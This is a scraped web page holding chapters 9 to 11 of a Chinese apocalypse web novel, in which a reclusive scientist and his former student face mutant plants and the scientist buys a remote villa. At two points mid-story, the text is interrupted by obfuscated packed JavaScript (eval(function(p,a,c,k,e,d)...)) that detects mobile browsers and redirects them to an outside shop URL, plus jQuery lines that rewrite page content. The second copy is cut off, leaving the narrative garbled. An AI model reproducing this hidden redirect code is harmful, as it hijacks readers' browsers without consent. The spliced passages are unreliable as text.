温倦听他罗里吧嗦半天,说了句:“不用麻烦,我说过不吃早饭。”然后砰的一下关上了浴室门。 然而等他洗漱完出来,却惊讶地发现,陆亦哉正在煮水饺。 温倦在原地愣了起码半分钟,才问:“我家有饺子?” “没有的,老师。”陆亦哉的脸隐在薄薄热汽后面笑得很温柔,“隔壁邻居家里有水饺,我想花钱买,但他们人特别好,不肯收钱。我觉得白拿别人东西不好,所以就跟他们约好,明天的早餐我来做,到时候给他们送一份过去,他们很高兴。” 温倦惊呆了。 他在这里住了七年,和邻居打照面的次数不超过十次。陆亦哉才来这里一天,已经和别人建立起共享早餐的情谊了。 可是……总觉得哪里不对。 “吃早饭啦!” 陆亦哉的声音打断了温倦的思考。 热腾腾的水饺端到面前,温倦下意识地接过了。 他有点恍惚,事情是怎么发展成现在这个样子的。 明明在他印象里,陆亦哉不久前在学校里和他偶遇还不肯打招呼,现在为什么会跑到他家里来给他做早饭? “老师今天有什么安排吗?”陆亦哉忽然问道。 温倦眨了眨眼,回过神来,他戳起一颗浑圆饱满的饺子,咬了一口,借着嚼东西来拒绝回答。 其实温倦还在想楚尽风的事。 楚尽风也许是个疯子,他说的话也许不能全信。但楚尽风反复提及的“末日”却一直在温倦的脑海里挥之不去。 不久前的夏夜大雪,以及昨天的那场狂风暴雨,包括联盟突然派考察队进入还鳞山。 温倦无法忽视这些事情。 “老师觉得,真的有世界末日吗?”陆亦哉放下筷子,托着下巴看向他。 “当然不……”温倦不自觉地咬了一下舌头,他疼地抽了一口气,等缓过来,到嘴的说辞也变了,“也许吧。” “其实最近网上有很多人都在讨论世界末日。”陆亦哉表情自然,就像在说一件寻常小事。 温倦看了他一眼:“很多人讨论?” “是啊。我估计楚尽风就是看到那些网上的帖子,所以才编出了那么完整的故事。老师你可以上网看看,好多网友比他说得还有模有样。” 温倦不用上网也能猜出网友们编了些什么故事来,毕竟世界末日从很久以前就是各种科幻片灾难片的常用设定。 他可以理解大家对末日的推断,因为就连他自己,也不是没有猜测过这种可能性。 只是温倦仍旧不理解,楚尽风为什么会说他是大反派,又为什么,会知道他父亲的事…… 一颗怀疑的种子被扔进了温倦假装平静的心底,把他逃避多年的问题给唤醒,于是他陷入了一种难以抑制的焦虑。 会不会,真的像楚尽风所说,他会是人类最大的敌人。他比天灾和怪物更可怕。他才是毁掉一切的…… “老师。” 陆亦哉的手忽然贴上温倦的脸颊,他的掌心很热,几乎让温倦感觉到皮肤被烫伤。 想要躲,却被陆亦哉的另一只手拦住退路。 温倦的眼睫快速地颤了颤,从自己混乱的思绪中再度被唤回,他看着不知何时骤然靠近的陆亦哉,手足无措伸手抵住对方的胸口,莫名紧张地咽了口唾沫:“你干什么……?” “我看老师好像不喜欢吃饺子,一直在发呆。要不,我去问问邻居阿姨家里还有没有别的。” “别去。”温倦看他作势要走,立刻拽住了他,“你别老是去打扰人家,饺子挺好的。” 陆亦哉不信:“真的吗?那老师为什么不吃呢。” 温倦舔了舔干涩的嘴唇,敷衍道:“我等它凉下来再吃。” “老师好瘦。”陆亦哉轻轻抚摸温倦的脸颊肉,有些不高兴,“这些年都没有好好吃饭,是不是?” “我……”温倦躲了一下,然而陆亦哉的手掌比他的脸还大,毫不费力就托住了他的下巴,哪里由得他躲。 他蹙眉瞪了陆亦哉一眼,“关你什么事,你现在怎么回事,老爱动手动脚的。松开。” 陆亦哉看似听话地松开了手,但依旧和温倦贴得很近:“饺子凉掉就不好吃了。老师,这个不是速冻水饺,是邻居阿姨自己包的。很好吃的,你多吃一点。” “知道了知道了。”温倦没想到自由自在这么多年,人到25岁了居然被一个小屁孩给管教,没好气地踢了陆亦哉一脚,“啰嗦死了。” 陆亦哉把腿支过去给他踢,温倦抬眼瞪他,他只是笑眯眯地不说话。 - 9.第 9 章 “怎么样了?” “陆朝之院长精神还不错,医生说再观察半天,没有出现其他异常就可以先解除隔离” “那少校呢?” “还是像之前一样,高烧不退,没有醒来的迹象。医生到现在也没有弄明白发热的原由。” “会不会是伤口感染了?当时救回来的时候肠子都在外面,看起来不像能活的样子……” “不,恰恰相反,那些伤在手术后恢复良好,早已脱离危险。” “那就更奇怪了。伤成那样,换个人早就死了,少校不仅没事,而且手术后不到两天伤口就已经完全愈合,这听起来合理吗?” “不管合不合理,这就是事实。” “唉……这个世界有太多超出我们认知的东西,我反正想不明白,只有等陆朝之出院,也许他可以给我们答案。” - 暴雨后的城市,到处都是狼藉泥泞。 好在路面积水已经处理,行人和车流依旧像往常般匆匆,掩盖住了让人不安的压抑。 温倦带着陆亦哉去医院的路上,险些被步行道翻起的砖石绊倒。 好在陆亦哉反应很快,搂住他的腰,直接把人抱了起来。 “老师小心,这段路可能被昨天的暴雨冲毁了,不太好走。” 陆亦哉在温倦瞪他以前就把温倦放开。 温倦忽然蹲下身子,仔细看了一眼乱七八糟的地面,蹙了蹙眉:“不太对……” “怎么了?”陆亦哉好奇地也蹲下去,但他看不明白,就用眼睛望着温倦求解。 温倦伸手去翻烂糟糟的泥土:“步道砖是从下面被顶开的。” “是行道树的树根吧。”陆亦哉看了一眼,“这条街到处是悬铃木,可能昨天的风把树根带起来了,还有很多树直接被连根拔起,也正常。” 温倦摇了摇头:“不正常。” 陆亦哉:“老师是说什么不正常?” “它们……”温倦刚要跟陆亦哉解释正常悬铃木的树根长什么样,视线里忽然看见不远处的一块步道地砖颤了颤。 他猛地起身,抓住陆亦哉往后退了好几步:“躲开!” 陆亦哉并不知道要躲开什么,但温倦拉他的手,他就什么都不想了,笑眯眯地跟着温倦往后退。 就下一秒,整个路面突然剧烈地晃动起来,周围不少路人都在尖叫:“地震了!地震了!” “卧槽!昨天暴风雨今天大地震,世界末日真的要来了吗?!” “天哪,路边的树塌了!” “快点打110!哦不对,打120!哦也不对,打119——” “打你个头啊,别挡路!!” 一片混乱喧嚣中,路面忽然传来一声巨响,就在几秒之内,温倦和陆亦哉刚刚站过的步道区域骤然向下凹陷,轰隆隆地塌出一个坑洞。 陆亦哉将温倦紧紧护在怀里,眉眼间习惯性的笑意在这一刻荡然无存。 他很确定,那个坑洞绝非意外塌陷。它直径不超过两米,如果仔细看,就会发现其深不见底,而如果他们俩刚才反应慢了哪怕一秒,就会正正好被埋进去。 温倦显然也发现了这件事。 “老师……”陆亦哉有些担心地看着温倦。 不曾想,温倦在缓过最初的片刻惊讶后,脸上换了一副阴沉沉的表情。他推开陆亦哉,撸起袖子,气势汹汹朝着那处塌陷的坑洞走去。 陆亦哉吓了一跳:“老师,别过去,万一等下地面又塌……” “再塌一个试试。” 温倦也不知是在回答陆亦哉,还是在自言自语,总之,他的目光死死盯着刚才树根盘错的地方,走近后几乎是警告地重复了一遍,“再给我塌一个试试。” 周遭是行色惊慌又忍不住好奇张望的路人,都看着温倦走近了那个陷落的大坑。 温倦在众人不理解但尊重的目光中,整个人伏在坑洞边缘,趴下身子伸手去里面掏。 陆亦哉看得心惊胆战,生怕温倦不小心掉进去。 他这时候不得不暗骂自己对25岁的温倦太不了解,因为他也和路人一样,不太明白温倦想做什么。 陆亦哉唯一可以自我安慰的一点就是,他知道温倦做事都是有分寸的。 既然他敢靠近那个坑,还有坑里面未知的变异植物,就说明温倦一定有必须要这么做的理由。 陆亦哉一言不发地跟着温倦上前,伸手虚虚握住温倦的腰,尽量在不干扰到温倦“工作”的同时保护好他。 片刻后,只听温倦冷冷哼一声:“抓到了。” 随即,地面再次巨震。 这一次震动比刚才还要剧烈,看热闹的群众再也不敢观望温倦,迅速作鸟兽散,四散奔逃。 陆亦哉也不敢放任温倦继续研究那个坑,他手上稍一用力,将人抱了起来:“不行,老师,你这样太危险了,不管那下面有什么,都不能——诶?” 陆亦哉呆呆眨了眨眼。 他看到一副诡异的画面。 他抱着温倦,而温倦抱着一根巨大的树根。 陆亦哉:“?” 温倦根本没听陆亦哉在说什么,他挣脱出陆亦哉的怀抱,双手紧紧搅住这根作乱的变异植物,然后,顺着这一根往外扒拉出了另外几根。 终于,在温倦扒拉出第五根的时候,地面的震动停止了。 这些从洞里延伸出来的树根每一根都有成年人的手臂粗细,它们只是某种巨型变异植物根系的一部分,隐藏在城市的地下蠢蠢欲动地作乱,但此刻,被温倦抓在手里的时候却显得十分“温顺”。 温倦可没有因为它们现在的老实,就忘了几分钟前差点被它们挖出来的大坑给埋了。 “想吃我就得付出代价。” 他这句话说得很轻,如果不是陆亦哉的注意力一直放在他什么,又恰巧听力惊人,恐怕根本不会注意到温倦说了话。 温倦盯着这些一看就不正常的植物根茎,将它们挨个打了个结,感受到它们的挣扎,温倦毫不客气地赏了它们一巴掌,它们立刻老实了。 如果温倦刚才没有及时把它们从地下拽出来,这些狡猾的变异植株早就不知道缩到哪儿去了。 他就这样把这几根已经无法畏罪潜逃的树根往地上一扔,拍了拍手上的土,带着陆亦哉走了。 等联盟派来的人看到这些,自然会想办法去研究。 而他们能研究到什么地步,温倦也管不着。 “老师……” 一路上,陆亦哉努力保持沉默,但最终还是问出了口,“那些树,到底怎么回事?” 他会这样问,温倦并不奇怪。温倦之所以会当着陆亦哉的面做那种事,也是一种明示。 说到底,即便没有楚尽风,温倦也早就在怀疑变异生物会在不久的将来给人类带来不可估量的危害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882680|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他正愁不知道怎么开口提醒陆亦哉,现在借着此事,温倦正好跟他提说:“你也看到了吧,那些树根不正常。” “嗯嗯。”陆亦哉露出一副虚心好学的模样,认真听讲。 温倦告诉他:“其实早在一个月前,我就发现实验室里有些样本出现了不同程度的变异,我不确定变异的原因是什么,也许是我实验中的某个环节出了问题,也许是别的原因。我本来想把这件事告诉院长,但他一直在出差。” “学校图书馆因为爬山虎覆盖而被迫关闭的事,你应该也知道了吧?再加上最近天气异常,今天又亲眼看到路面被树根破坏……陆亦哉,你对此有什么想法?” 陆亦哉听完,看似努力思考,实则脑袋空空地问出了一个愚蠢的问题:“老师,是不是外星人要攻打地球?” “……”温倦深呼吸一口,面无表情掐自己人中。 陆亦哉挠挠耳朵,颇有些为自己的愚笨感到羞耻的意思:“对不起老师,这些东西太匪夷所思了,我实在想不明白它们为什么会发生。学校的爬山虎也好,今天的行道树也好,它们应该都……变异了吧?可是,它们为什么会变异呢?不是外星人干的吗?” “嗯嗯是外星人。”温倦放弃和傻大个聊科学,他拍拍陆亦哉的肩,说,“你好好锻炼身体吧,外星人攻打地球的时候你争取第一个上。” “好的老师。”陆亦哉乖乖点头,“无论敌人是谁,我会把他们都杀光的。” 温倦的脚步忽然停下,转身看着陆亦哉。 陆亦哉也和他一起停下,低眉顺眼看着温倦,那双杏眼几乎显得忠诚:“怎么了,老师?” “陆亦哉,假如真的有世界末日,你会怎么做?” 陆亦哉回答得很快,就像早已对这个问题有过想象:“找个安全的地方,和家人待在一起,哪里都不去。” “……”温倦眉梢一挑,“这不像你。” “老师以为我会做什么?”陆亦哉笑着歪了歪头,好奇道,“觉得我会拯救世界吗?” 温倦评价道:“你看起来不像是能在一个地方长期待下去的人。听说你高考结束的那个暑假,没有一天是在家里待着的。” “那只是小时候比较贪玩,现在不一样了。”陆亦哉用笃定的口吻说,“我可以和老师两个人,躲在一个无人打扰的地方,过一辈子。” 温倦幽幽看着他:“你爸不要了?” “那,那就加上我爸,我们三个人……” “你爷爷奶奶外公外婆不要了?” “……要,那再加上我爷爷奶奶外公外婆和爸爸。”陆亦哉不服气地噘着嘴,“不要再加人了,家里装不下了。” 温倦叹了一声气:“笨得要死。” 说完,转身就走。 而走的那条路,却不是他们原定的医院方向。 陆亦哉在后面亦步亦趋地跟着:“老师,我们要去哪里啊?” “找房子。” “啊,找什么房子?” 温倦没什么耐心地瞥了他一眼,半真半假地说:“能住下你爷爷奶奶外公外婆和你爸的房子。” 陆亦哉这次难得没有继续聒噪。 他安静地跟在温倦身边,走了好一会儿,才小声问了句:“那……能住下我吗?” 温倦真的要被他笨死,语气冷冷地说:“住不下,你去跟外星人睡吧。” - 10.第 10 章 在温倦联系好中介后,陆亦哉突然接到了失联许久的陆朝之的电话。 看到来电的时候,两个人都愣了一下。 陆亦哉下意识看向温倦,温倦莫名其妙:“看我干什么,接啊。” 陆亦哉乖乖点头,接了起来。那头的陆朝之不知道说了什么,陆亦哉露出了稍稍惊讶的表情,总是放在温倦身上的目光,这下却很刻意地挪开了。 温倦站在旁边等着他打电话,发现向来话多的陆亦哉,这次却格外沉默,无论陆朝之在那头交代什么,他只是回答“好的”“知道了”。完全无法推测他们父子俩都聊了些什么。 电话挂断后,温倦佯装不在意地瞥了他一眼,说:“院长回来了?” “没有,我爸说,他短期内还无法回家,有一个重要工作需要他长期驻留在中心城。” 温倦闻言一愣:“中心城?” 陆亦哉点头,没有多说。 温倦猜想,陆亦哉应该是太年轻,不太了解中心城是什么地方。所以也不明白,陆朝之驻留中心城意味着什么。 中心城并非某一座城市的名称,它是联盟多国共同建立的世界级政治军事中枢。 除了联盟政府最高行政机构总部大楼、多国常驻代表办公楼,以及全球危机应对指挥中心,中心城还下设三个军事基地与六所研究院,共同构成中心城体系的核心功能区。 之所以把这里称为“中心城”,是因为尽管其建立初衷并非以居民生活为目标,但在过去数十年间,随着大量专业人员与重要机构的进驻,这一区域逐渐扩大并发展出了完整的城市功能体系。 如果有幸进入中心城,会发现这里的生活比外界还要便利许多,所有能想象到的城市设施都很完备,唯一不足之处,就是中心城太过高高在上,几乎与世隔绝。 由于其政治军事地位的特殊,中心城不对外开放,只有经联盟批准、因公务或特殊任务需要的人员,方可在完成严格审查后进入该区域。 而陆朝之此番驻留中心城,有极大可能意味着,陆朝之从还鳞山的考察中获得了某些重要的信息,联盟很重视。 仔细想想,并不意外。 既然早前联盟会派陆朝之去还鳞山考察,就说明人类已经开始对山里的变异生物有了一定的猜测。 过去几十年,人类之所以没有进山,不是因为不感兴趣,而是派进去的人有去无回。这次陆朝之好不容易活着出来,必定带回了大量关键性的资料,意义重大,联盟当然要认真研究一番。 但温倦很快又想到了另一个问题。 他看向陆亦哉:“院长,还说什么了?” “哦,没什么。就是让我照顾好爷爷奶奶外公外婆。”陆亦哉笑说。 温倦蹙眉,似乎有些不解:“能够进入中心城的科研人员,大部分都从事高度保密工作,这类项目和平时的实验不一样,通常不会设一个明确的结束时间。院长如果真的加入了中心城的研究所,那么他的研究周期最少是五年,就算阶段性结束,他恐怕也不会再回到原来的岗位——能进入中心城,本质上来说是晋升,属于体系内的上调,所以院长未来很有可能会留在那里。” 他顿了顿,看陆亦哉并不接话,便直接问他,“按理说,联盟在邀请院长进入中心城的同时一定会考虑好他家属的生活安置……院长没有叫你也过去吗?” “没有啊。”陆亦哉笑容不减。 温倦盯着他:“不可能。” 陆亦哉只好妥协:“好吧,他确实让我带着爷爷奶奶他们过去。” 但他很快又向温倦保证,“但是我不会去的,老师。” “为什么不去?” 温倦不解,他以为陆亦哉不懂这其中的利弊,便解释,“中心城的生活很优渥,它不是你以为的几栋办公楼和研究所那么简单,它的占地极广,比首都还大,城市发展和各方面规划都遥遥领先于联盟其他地方。只要你进入中心城,几乎等同于未来的生活和工作都有了保障,联盟里有大把的机会等着你。” “可我以后不想给联盟打工。”陆亦哉的说辞听起来很任性。 “多少人挤破头想进去,你别小孩子脾气。”温倦叹气,“是怕无聊吗?我听说没有参与特殊工作的家属可以自由出入,你不用担心行动受限。” “老师,如果让你去,你愿意吗?”陆亦哉反问他。 “我?”温倦一愣,但很快就拒绝,“我自己在这儿挺好的,干嘛要去。” “我在这儿也挺好的,我也不去。”陆亦哉好像根本不需要思考就已经下定决心,又解释说,“不过我还是要回家给爷爷奶奶外公外婆收拾行李,陪他们过去一趟再回来,老师放心,不会耽误太久。” 温倦越听越不明白:“既然都要送他们过去,还回来做什么?你家人都搬走了,你以后都打算一个人生活?” 陆亦哉理所当然地说:“不是一个人,我还有老师啊。” 温倦:“……别和我攀关系。” 陆亦哉哭丧着脸:“老师不要我?” 温倦:“不要,赶紧去找你爸,别在我这儿现眼。” 陆亦哉眼眶一下就红了,瘪着嘴:“……你说气话,我不信。” 温倦无情道:“敢哭出来你就死定了。” 陆亦哉立刻从呜呜呜变成嘿嘿嘿:“老师,你等我回来吧。” 温倦懒得和他多说,直接帮他叫了个车,把人塞进去,送走了。 陆亦哉打开车窗从里面探出脑袋,朝他挥手,声音随着车子发动逐渐远去:“等~~我~~回~~来~~” 温倦:“……” 有点无奈,也有点好笑。 其实他根本没有将陆亦哉的话放在心上。 陆亦哉和家人的关系亲近,不可能在举家搬迁的情况下,还非要独自一人留守在此。 他在温倦面前说那些话,无非是因为还没想明白事情的重要性。 等陆亦哉送家里的老人去了中心城,他父亲肯定会仔仔细细把利弊给他掰扯清楚。 那时候,陆亦哉恐怕就不会再回来了。 温倦并不觉得遗憾或是不舍。 倒不如说,这才合理。 陆家人一离开,温倦就彻彻底底没有朋友,没有家人,没有同事,没有任何社会关系,独来独往一个人。 这样才合理。 - 和温倦分别没多久,陆亦哉又一次接到陆朝之打来的电话。 内容和刚才的大差不差,只是催促得更紧:“最近天气难以预测,我怕夜长梦多,今天晚上就让人去接你们。学校那边不用担心,联盟会安排好。对了,一定要把温倦也带来。” “温倦的名额我已经申请到了,研究所在看过他的资料后给他安排了一个职位。但我怕他不愿意跟你走。你记住,无论温倦用什么话来搪塞拒绝,你都别管,他这人就是犟,你到时候直接把人绑上飞机,等过来了我和他说。” 陆亦哉似笑非笑地回了句:“爸,你想让他恨死我?” “应该不至于吧……” 陆朝之也知道自己刚才说的有点荒谬,便改了口,“那你先骗骗他,跟他说我手上有个项目需要助手,让他过来跟两天。总之,你得想办法把他带过来。” “儿子,我知道你有很多疑问,不是我不跟你讲,实在是情况特殊。你听话,也不要再为以前的事和他赌气。现在时间太紧,有些话只有到了这边我再和你们慢慢解释。” 陆亦哉不置可否,只应下了说现在回家帮忙收拾东西,就挂了电话。 无论陆朝之说什么,也无论这一世的人类命运会有怎样的改变,他都绝不可能带温倦去中心城——或者说,未来的人类基地。 - “这个房子是所有符合你需求的房子里性价比最高的,虽然是临郊,但周围配套完整,只要您没有去市区的通勤需求,在这里生活非常便利。” 中介带着温倦走进了一栋别墅,里里外外夸了一通,最后告诉温倦,“全套拿下来只要这个数——” 他用手比了个1。 温倦睁大眼睛:“一百万?” 中介一惊:“一百万买个院子都不够啊帅哥!是一千万,确切来说是一千六百万,但最近房市不景气,估计能再压一压价。您也是捡到便宜了呢,前两年没个两千万可拿不下来这里。” 温倦皱眉:“我应该跟你说过,我的预算只有两百万。” “是啊,现在搞活动,首付正好两百万!哈哈哈哈。”中介独自开朗。 温倦面无表情:“全款两百万。” “……两百万,您想买别墅?”中介表情纠结。 温倦说:“我只要带院子的独栋,不一定是别墅。” “您听听您这话说的,带院子的独栋,不就是别墅吗?” “是吗。”温倦忽然对买房失去了兴趣。 温倦在自己的老破小里住了七年都没有动过搬家的念头,但这次,他下定决心要换个新房子,而且效率很高。 陆亦哉前脚离开,他后脚就已经坐上了中介的车。 搬家不是冲动,事实上在一个月前,决定要辞职的时候,温倦就有考虑过这件事。只是当时的动力不足,所以才迟迟不定。 温倦认为自己不可能是反派大boss,因为他没有理由毁灭世界。除非有一天,他不再是他。 但即便排除这个可能,温倦还是要做好一个准备:迟早有一天,变异生物会爆发。 温倦对于所有变异种来说,是一个移动的能源站。它们会像渴求食物一样不由自主地靠近他。 也就是说,有温倦在的地方,就会吸引大量危险的变异生物。 届时,温倦待在人群里比定时炸弹还可怕。 搬离城市,对他来说是最佳选择。 但温倦也不想亏待自己跑去归隐山林。万一没有爆发变异,没有世界末日,他总还是需要正常生活的。 所以他跟中介提出的需求是城郊临山靠水的独栋。 中介一听,是个大客户,连忙屁颠屁颠地开着车来接他了。 温倦把自己的所有存款清算了一遍,和他自己预估得差不多,这些年林林总总的专利授权、成果转化以及各种奖金,还有每月的固定薪酬,加在一起有三百多万。 温倦平时没什么需要花钱的地方,每个月的开销很少超过两千,当初买下那套老破小才花了二十多万,所以他觉得三百万是一笔巨款。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中介很着急,就像是这笔生意非温倦不可似的,“帅哥,好房可遇不可求。我是实在和你有眼缘才第一个想到了你。实不相瞒,这房子确实有一点毛病,否则不可能卖这么便宜。” 温倦听他这么说,反倒好奇:“什么毛病?” “我跟你说你别吓着啊,房东刚才跟我讲,他这房子千好万好,但就是最近啊,不知道怎么回事,家里总是跑进来一些动物,然后死在里面。你想想,这么好的房子里死一堆动物尸体,换谁来都怕啊。房东一开始觉得家里是不是有不干净的东西,还叫了‘天师’来做法,结果根本没用。更离奇的是,院子里本来种了几棵树,今早树全不见了,呃,总之,房东有点迷信,所以他才决定把这房子出手。” 中介说到这儿,咳了两声,语气有点干巴巴。 温倦觉得他有点像是在背台词,但是温倦也没在意,因为中介说的内容让他很感兴趣,也就忽略了语气上的古怪。 “帅哥,我看你是个年轻人,肯定不信鬼神,所以才跟你交底。你要是不怕这些个怪力乱神的,这房子千万不要错过。” 中介说完,呼出一口气。有点像是完成任务似的。 温倦听得有些兴奋了。 要是中介告诉他,有一个完美无缺的房子,从三亿打折到两百万,他肯定会觉得这中介骗术低级。 但如果这个房子是因为遭受了变异生物的侵占,导致房东着急出售,那温倦一下就有精神了。 这就好像是天上突然掉馅儿饼,而且是一块只符合他口味的馅饼。 “给我发个地址,我现在过去。” 温倦说着,人已经走到玄关换鞋子。 - 起飞前,陆亦哉收到了一条消息,他看到内容以后笑了一声。 “看什么呢,笑这么开心?”一旁的奶奶眯着眼打量他。 “哥要住进我们家。” 陆亦哉没有直接说温倦的名字,但家里人都知道他口中的“哥”是谁。 前面的外婆一听,赶紧转过来问了句:“他要跟我们一起搬去那边啊?” “不是。”陆亦哉完全没有隐瞒他们的打算,十分坦然地说,“我把半山别苑卖给他了。” “什么??” “啊?!” 半山别苑虽然是陆家的老宅,但自从陆朝之进入科学院以后,联盟在市中心安置了住处,那里就空下来了,二十多年都没人住。 早些年还曾经租给景区用来当避暑山庄,后来陆亦哉成年,陆朝之借着成人礼的名义就把它收了回来过户给陆亦哉。这两年也就家里老人夏天会去住一两个月,平时早就闲置下来了。 一听说他把老宅卖给温倦,爷爷奶奶外公外婆齐齐瞪了他一眼。 “那是咱们陆家的房子,你就叫你哥住进去好了,还卖什么卖!” “个小白眼儿狼,你哥的钱你也赚?” “我揍死你个混球——” “你快点把钱退给倦儿,一家人还谈什么买卖,像什么话!” 陆亦哉在飞机起飞的轰鸣声中笑出了声。也不管有没有人听到,只老老实实坦白从宽: “我也想给啊,怕他不要。” - 11.第 11 章 直到签合同的那一步,温倦都觉得晕乎乎的。他没想到事情能这么顺利。 其实刚开始他也犹豫了很久,因为房东一直没有露面, 中介反复跟他强调说没有问题,房东前段时间受到了不小的惊讶,现在很抗拒靠近这里,如今和他家人已经出国旅游收惊了,实在没办法赶回来,所以委托中介全权处理这栋房子。 “代签的授权书还在走流程,”中介坦然道,“咱们可以先签意向合同。不过您放心,由于房东个人原因推迟交房的情况,他会承担一切费用,您的意向金可以免,中介费也不用交,而且您还可以随时搬进来,如果房东那边事后反悔,还会赔付您一大笔赔偿金,所以完全可以放心。” 温倦听得皱了下眉。 中介把事情说得无比简单,好像只要他愿意,这房子送给他都行。 怎么看都像一场拙劣的骗局。 他偶尔也看社会新闻,明白被骗的人往往都是贪小便宜吃大亏,越是看起来简单的事情,越容易在后面埋雷。 温倦没有立刻接笔,而是问中介房东什么时候回国,他想和对方见一面。 中介顿了顿,忽然笑起来,说:“跟您说个乐子,这房东先生好像特别胆小,坚信这里有鬼,说什么都不肯回来,还说如果卖不掉就搁置,谁愿意住谁住。人家手里房子估计多着呢,平时本来也不会来这里,估计就是偶尔过来避避暑,多一套少一套对人家来说也没什么影响。” “……”温倦几乎觉得那房东是个冤大头。 “换了我啊,懒得管他回不回来,反正白纸黑字写清楚了的。房东不回来,您就是便宜买了个大房子,房东要是半道回来了,不想卖了,您也能拿一笔违约金。怎么都不亏。” 确实,怎么都不亏。 就是怎么都不亏听起来才有问题啊。 但温倦知道中介只想成交,所以也没有继续和他掰扯。 他沉默地重新将整栋房子走了一遍。 建筑本身只有三层,但占地面积却远超一般的独栋。 中介说过,早些年这里也算景区配套的一部分,定位比山下的民宿和游客中心周围的度假酒店更高端,为此,这里前后翻修扩建过好几次,目的就是更好地接待那些高消费人群,让他们在偏僻冷清的深山中也能享受到比城市里还要便利舒心的住宿与服务。 房子二楼三楼被规划成住宿区域,有八间客房,布局分散而合理,既不会显得拥挤,也不会空得发冷。 一楼的功能区几乎囊括了日常生活能想到的所有需求。餐厅、健身房、娱乐室、影厅、书房甚至医疗室。 想来,景区应该靠这栋庄园式酒店赚了不少钱,竟如此舍得在装修布局上下功夫,宁愿少一整层的客房数量,也要将所有功能区都做出来。 按照温倦最初的买房需求,这里根本不是他想要的新家。 因为很大,大得空旷,给他一个人独居显然有些浪费。 但温倦走在这栋房子里,却不由自主地开始构想:房子很大,有很多改动空间,比如医疗室就可以和旁边的房间打通,改成实验室。 温倦要是在这里做实验,无论样本如何变异,都不怕再影响他人。 还有房子外面,前院经过人为打理,是非常开阔的一大片草地,据说之前是马场,后来房子被房东收回去,马场拆了,就一直空着。 房子后院更是别有天地。院子和山林之间几乎没有明显的界限,只有一条清澈的溪水缓缓淌过,作为一种过渡,水流不急,成年人两步之距,有一种迈过去就是另一个神秘世界的奇异感。 当站在这里看着整栋建筑的时候,温倦忽然生出一个荒唐的念头—— 如果真的有世界末日,如果城市失序,电力中断,网络通讯崩溃,人与人之间的联系切断,他独自一人留在这里,好像也可以。 但这个想法刚出现就被他压了下去。 如果可以的话,他还是希望世界末日这个假说永远不要成真。 只是温倦不得不承认,这个房子确实太好了。 好到他实在找不到理由放弃。 三个亿打折到两百万,并且还许诺不用支付任何额外费用,且在交房前他随时可以搬进来,要是被赶出去还可以获得房东的高额违约金。 到底有什么理由不要? “签。” 温倦果断走到中介旁边,拿过笔,在意向合同上唰唰签下自己的名字。 - 温倦做事总是效率很高,也可能是因为他最近实在无事可做。 在确认房子可以随时入住后,他就开始准备搬家了。 温倦的搬家是个大工程,因为半山别苑实在太大,为了不浪费空间,他还需要进行一系列的大采购。 毕竟是山上的房子,在去市区不方便的情况下,他想尽可能任何时候都自给自足。 虽然温倦采购的预算只有一百万不到,但半山别苑里住宿条件很好,他几乎不用额外购买大件家具。 像空调冰箱洗烘机这一类生活必备电器,别苑里也已经齐全,毕竟是服务于高端客户群体,这里配备的都是好东西,温倦如果自己买还不一定能买到这些高档货。 别苑里还有一些温倦想不到的东西,比如柴油发电机、应急配电柜、太阳能、净水装置和蓄水池,甚至还有冷藏库。这别说是长期宅家自用了,就算真的末日爆发,温倦也能在这里过一辈子。 第二天一大早,温倦一如往常醒得很早。 他先给自己要买的东西列了个清单,然后准备上网找找可以送货上山的搬家公司。 但拿出手机的时候,他忽然想起了什么,于是匆忙点了个外卖。 外卖一到,温倦拎着早餐,敲响了邻居家的门。 开门的是一个老头,很不耐烦地隔着防盗护栏看向温倦,几乎是吼着说:“干什么!大早上敲什么门!” 温倦被他吼得愣了一下。 陆亦哉昨天早上说,去邻居阿姨那里借了饺子,今天要给对方还一顿早餐回去。 但他现在人不在这里,温倦又是个答应了就要做到的实在人,想着怎么也得在搬家前把昨天那顿饺子还回去。 结果邻居老头一脸阴沉地盯着他,看起来一点都不像会和陆亦哉分享早餐的人。 温倦确定这层楼只有他们两户。 那陆亦哉昨天见到的邻居阿姨是谁?是这个老头的女儿?亲戚? 温倦试探地说了句:“您好,昨天我家小孩好像拿了您家一袋饺子。所以……” 老头平时几乎不出门,加上记性可能不太好,根本没认出温倦是自己邻居,直接开口打断: “什么饺子不饺子的,你是不是上门推销的?我告诉你啊,我不买,什么都不买!” 然后砰的一声关上了门。 温倦呆呆地站在原地,脑子里差点运转不良。 他第一反应是,邻居大爷根本不知道饺子的事儿,那昨天那顿早饭是哪儿来的?陆亦哉见鬼了吗? 第二反应是:或许陆亦哉骗了我?但为什么要骗我? 等终于冷静了点,他才想到,也许陆亦哉是去了楼上或楼下问了其他邻居。不一定是隔壁这一户。 这样一来,温倦就不好还人情了,他本来就不喜欢社交,更何况不确定对方是谁,贸然跑去敲门,也可能打扰到别人。 最后,温倦回到家中,自己坐在餐桌上慢吞吞地吃起早饭来。 他后知后觉地想起来什么,忽然放下筷子,走到浴室门口,伸手在门把上捣鼓了一下。 这扇门怎么是好的? 温倦记得从还鳞山回来那天,他晕倒在浴室,陆亦哉是踹门进来的。 模模糊糊间,他明明看到这扇门坏了。 难道是他记错了? 就在这时,中介竟然打来了电话。 现在才早上八点,中介都还没上班,怎么会突然打电话来? 温倦立刻把浴室门的事抛在脑后,他担心是房东那边要毁约,不卖房了,赶紧接起电话。 中介的声音无比热情,每个字都洋溢着喜悦:“早上好啊温先生!希望没有打扰到您休息。是这样,房东刚才联系了我,有些事托我转告您。” 